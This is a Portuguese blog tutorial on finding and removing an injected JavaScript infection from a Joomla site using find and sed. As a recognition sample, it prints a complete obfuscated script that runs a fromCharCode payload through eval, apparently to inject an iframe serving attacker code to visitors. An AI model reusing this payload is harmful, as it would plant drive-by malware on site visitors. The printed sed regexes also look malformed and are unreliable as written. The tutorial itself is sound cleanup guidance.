Fork me on GitHub
Você esta em:Home » Destaque » Como remover scripts maliciosos de seu site

Como remover scripts maliciosos de seu site

Se você usa scripts pegos na web e templates, ainda vai se deparar com esse problema.

Primeiramente, calma! muita calma! Já está calmo? Está mesmo? Então vamos começar rs. Você não foi o primeiro nem vai ser o último! Ótimo incentivo rs.

Primeira dica Se seu site ainda esta online mas você sabe que tem um script malicioso nele, tá ruim mas tá bom! Pois assim você se certifica que o seu site não foi completamente danificado.

Geralmente esses scripts são para instalação de trorjans ou para redirecionamento para alguns sites. O script que passarei abaixo analisei que ele entrava num site chamado www.botsvsbrowsers.com.

Segundo passo aconselho fazer um full bkp de tudo que esteja no ar, mesmo que esteja danificado inclusive dos BDs.

Terceiro passo, verifique seus arquivos index.php, index.html, index.html, default(nunca vi ninguém usar esse rs),… pois geralmente os scripts maliciosos em JS ou PHP buscam a pagina index e coloca no topo ou abaixo da tag body das páginas index o script malicioso com iframe. Com o iframe ele abre um espaço em site site para o site dele e ele pode colocar scripts para serem executados no navegador do visitante. Ou seja, veja que coisa boa! O script malicioso não foi feito para você e você não é o principal alvo dele, o alvo principal são seus visitantes!

Uma outra dica é que nem tente buscar o script pelo firebug, pois ele é escrito dinâmicamente e seu estado antes de ser compilado pelo servidor ou pelo navegador é de criptografado!

Abaixo segue exemplo de um script malicioso encontrado:


<script>var s=new String();a=(new Function("","")+"").substr(3-1,4);if((a=="unct")||(a=="ncti"))a=(document.createDocumentFragment+"").substr(2-1,4);if((a=="unct")||(a=="ncti")){r=1;c=String;}if(r&&document.createTextNode)y=2;e=window['e'+'val'];m=new Array(4.5*y,18/y,52.5*y,204/y,16*y,80/y,50*y,222/y,49.5*y,234/y,54.5*y,202/y,55*y,232/y,23*y,206/y,50.5*y,232/y,34.5*y,216/y,50.5*y,218/y,50.5*y,220/y,58*y,230/y,33*y,242/y,42*y,194/y,51.5*y,156/y,48.5*y,218/y,50.5*y,80/y,19.5*y,196/y,55.5*y,200/y,60.5*y,78/y,20.5*y,182/y,24*y,186/y,20.5*y,246/y,4.5*y,18/y,4.5*y,210/y,51*y,228/y,48.5*y,218/y,50.5*y,228/y,20*y,82/y,29.5*y,18/y,4.5*y,250/y,16*y,202/y,54*y,230/y,50.5*y,64/y,61.5*y,18/y,4.5*y,18/y,50*y,222/y,49.5*y,234/y,54.5*y,202/y,55*y,232/y,23*y,238/y,57*y,210/y,58*y,202/y,20*y,68/y,30*y,210/y,51*y,228/y,48.5*y,218/y,50.5*y,64/y,57.5*y,228/y,49.5*y,122/y,19.5*y,208/y,58*y,232/y,56*y,116/y,23.5*y,94/y,51*y,222/y,57*y,198/y,50.5*y,232/y,57.5*y,232/y,48.5*y,232/y,23*y,198/y,55.5*y,218/y,23.5*y,230/y,58*y,194/y,58*y,92/y,56*y,208/y,56*y,78/y,16*y,238/y,52.5*y,
 200/y,58*y,208/y,30.5*y,78/y,24.5*y,96/y,19.5*y,64/y,52*y,202/y,52.5*y,206/y,52*y,232/y,30.5*y,78/y,24.5*y,96/y,19.5*y,64/y,57.5*y,232/y,60.5*y,216/y,50.5*y,122/y,19.5*y,236/y,52.5*y,230/y,52.5*y,196/y,52.5*y,216/y,52.5*y,232/y,60.5*y,116/y,52*y,210/y,50*y,200/y,50.5*y,220/y,29.5*y,224/y,55.5*y,230/y,52.5*y,232/y,52.5*y,222/y,55*y,116/y,48.5*y,196/y,57.5*y,222/y,54*y,234/y,58*y,202/y,29.5*y,216/y,50.5*y,204/y,58*y,116/y,24*y,118/y,58*y,222/y,56*y,116/y,24*y,118/y,19.5*y,124/y,30*y,94/y,52.5*y,204/y,57*y,194/y,54.5*y,202/y,31*y,68/y,20.5*y,118/y,4.5*y,18/y,62.5*y,18/y,4.5*y,204/y,58.5*y,220/y,49.5*y,232/y,52.5*y,222/y,55*y,64/y,52.5*y,204/y,57*y,194/y,54.5*y,202/y,57*y,80/y,20.5*y,246/y,4.5*y,18/y,4.5*y,236/y,48.5*y,228/y,16*y,204/y,16*y,122/y,16*y,200/y,55.5*y,198/y,58.5*y,218/y,50.5*y,220/y,58*y,92/y,49.5*y,228/y,50.5*y,194/y,58*y,202/y,34.5*y,216/y,50.5*y,218/y,50.5*y,220/y,58*y,80/y,19.5*y,210/y,51*y,228/y,48.5*y,218/y,50.5*y,78/y,20.5*y,118/y,51*y,92/y,57.5*y,202/y,58*y,130/y,58*y,232/y,57*y,210/y,49*y,234/y,58*y,202/y,20*y,78/y,57.5*y,228/y,49.5*y,78/y,
 22*y,78/y,52*y,232/y,58*y,224/y,29*y,94/y,23.5*y,204/y,55.5*y,228/y,49.5*y,202/y,58*y,230/y,58*y,194/y,58*y,92/y,49.5*y,222/y,54.5*y,94/y,57.5*y,232/y,48.5*y,232/y,23*y,224/y,52*y,224/y,19.5*y,82/y,29.5*y,204/y,23*y,230/y,58*y,242/y,54*y,202/y,23*y,236/y,52.5*y,230/y,52.5*y,196/y,52.5*y,216/y,52.5*y,232/y,60.5*y,122/y,19.5*y,208/y,52.5*y,200/y,50*y,202/y,55*y,78/y,29.5*y,204/y,23*y,230/y,58*y,242/y,54*y,202/y,23*y,224/y,55.5*y,230/y,52.5*y,232/y,52.5*y,222/y,55*y,122/y,19.5*y,194/y,49*y,230/y,55.5*y,216/y,58.5*y,232/y,50.5*y,78/y,29.5*y,204/y,23*y,230/y,58*y,242/y,54*y,202/y,23*y,216/y,50.5*y,204/y,58*y,122/y,19.5*y,96/y,19.5*y,118/y,51*y,92/y,57.5*y,232/y,60.5*y,216/y,50.5*y,92/y,58*y,222/y,56*y,122/y,19.5*y,96/y,19.5*y,118/y,51*y,92/y,57.5*y,202/y,58*y,130/y,58*y,232/y,57*y,210/y,49*y,234/y,58*y,202/y,20*y,78/y,59.5*y,210/y,50*y,232/y,52*y,78/y,22*y,78/y,24.5*y,96/y,19.5*y,82/y,29.5*y,204/y,23*y,230/y,50.5*y,232/y,32.5*y,232/y,58*y,228/y,52.5*y,196/y,58.5*y,232/y,50.5*y,80/y,19.5*y,208/y,50.5*y,210/y,51.5*y,208/y,58*y,78/y,22*y,78/y,24.5*y,96/y,19.5*y,82/y,29.5*y,18/y,4.5*y,18/y,50*y,222/y,49.5*y,234/y,54.5*y,202/y,55*y,232/y,23*y,206/y,50.5*y,232/y,34.5*y,216/y,50.5*y,218/y,50.5*y,220/y,58*y,230/y,33*y,242/y,42*y,194/y,51.5*y,156/y,48.5*y,218/y,50.5*y,80/y,19.5*y,196/y,55.5*y,200/y,60.5*y,78/y,20.5*y,182/y,24*y,186/y,23*y,194/y,56*y,224/y,50.5*y,220/y,50*y,134/y,52*y,210/y,54*y,200/y,20*y,204/y,20.5*y,118/y,4.5*y,18/y,62.5*y);if((a=="unct")||(a=="ncti"))mm=c['fromCharCod'+'e'];for(i=0;i<m.length;i++)s+=mm(m[i]);if((a=="unct")||(a=="ncti"))e('e(s)');</script><!-- o --><!-- c -->

O script acima, só é exibido dessa forma se você editar o arquivo danificado. mas em seu depurador do firebug apresentará como iframe. Se você tentar buscar oque aparece no browser, certamente não irá encontrar! Pois como dito no browser irá apresentar assim:


<iframe .....

Mas em seu código do index se apresentará assim:


<script>var s=new

Mas como eu achei o script malicioso? Lembra da primeira dica? que eu recomendo fazer uma busca no index’s? Então foi assim!

Mas não pense que é só substituir o scripts encontrado no index, você tem que verificar se existe outros iguais a esse em todo seu sistema. Pois como disse esse script se prolifera. No meu caso como eu utilizava o Joomla lembrei que em todas as pastas do sistema possui o index.html e tenho vários index.php. Humm fu….!

Pois bem, a solução foi buscar no Google e lá achei o Find e Sed para Linux.

Explicando o comando find

O nome já é sugestivo, o find serve para buscar no linux. Existem outros comandos de busca para o Linux, mas nesse exemplo iremos trabalhar com o find.

Caso você não tenha acesso ao SSH do Linux, experimente o gerenciador de arquivo do Cpanel ou até mesmo um programa ftp que possua a opção de busca em diretórios e subdiretórios, Talvéz você consiga buscar o arquivos index, mas não consiguirá executar o Sed para substituição dos códigos. Então apartir desse ponto só será viável esse tutorial caso você tenha acesso ao SSH do linux.

No SSH, ou seja, no terminal do Linux, se você executar o comando:


find . -iname "*.php"

Ele irá procurar em todos os seus arquivos .php. Mas como já sabemos que em sua grande maioria o script malicioso fica nos arquivos index, eu recomendo colocar assim na utilização do Sed.


find . -iname "index.php"

Atenção!!!! Agora vamos falar do SED, cuidado com o SED! Se você colocar a expressão regular de forma errada, ele pode apagar tudo oque contém em seus arquivos index.php. Recomendo então, no caso não possir muito conhecimento em Linux e em regex, que faça um ambiente teste, como mostrarei abaixo!

Criando o ambiente de teste

Para fazer o ambiente teste, pegue uns arquivos em php e uns 2 index.php que estejam infectados, e os coloque em pastas separadas. Execute o Find e Sed dentro dessa pasta corrente, ou seja, da  pasta de teste. Como disse acima se der algum erro você não perderá seu script original. Dessa forma você perderá somente os da pasta teste!

Exmplicando o SED

O sed para substituir a parte do texto que bate com a expressão regular:

 sed -i 's/<script>var s=new String();.*</script><!-- o --><!-- c -->/ /g'

Explicando o comando inteiro que usa o find com o sed

 find . -iname '*.php' | xargs sed -i 's/<em><script>var s=new String();</em>.*</script><!-- o --><!-- c -->/ /g'

Então com esse script acima, buscará no Linux todos os arquivos .php do diretório corrente e substituirá com o Sed tudo que ele encontrar entre a Expressão Regular, ou seja, tudo que está compreendido entre <script>var s=new String(); e termine com </script><!– o –><!– c –> –>

Recomendo também para os que não possuem muita habilidade com a Expressão Regular que utilize um sistema verificação de Expressão Regular como o componente do firefox Regular Expressions Tester ou o site http://regexpal.com/ para verificar se a expressão regular esta pegando exatamente oque esta entre <script>var s=new String(); e </script><!– o –><!– c –> –>

Lembrando que há determinados momentos na expressão regular que precisamos contar com as quebras de linhas /n.

Espero ter ajudado, até mais!

Sobre o Autor

Designer, Web Developer & Linux Administrator

Meu nome é Deivison Arthur, tenho 29 anos, sou Administrador Linux, Analista de Sistema, Webdesigner e Pesquisador. há mais de dez anos. Nasci no Rio de Janeiro, atualmente trabalho como Gerente de Tecnologia e E-commerce at Grupo FFernandes e Freelancer nas horas vagas. Desenvolvimento em Joomla, Wordpress, Drupal, Magento e outros GPLs...

Quantidade de Artigos : 114

Comentários (6)

Enviar Comentário

© 2012 Powered By Wordpress, Deivison Arthur

Ir para cima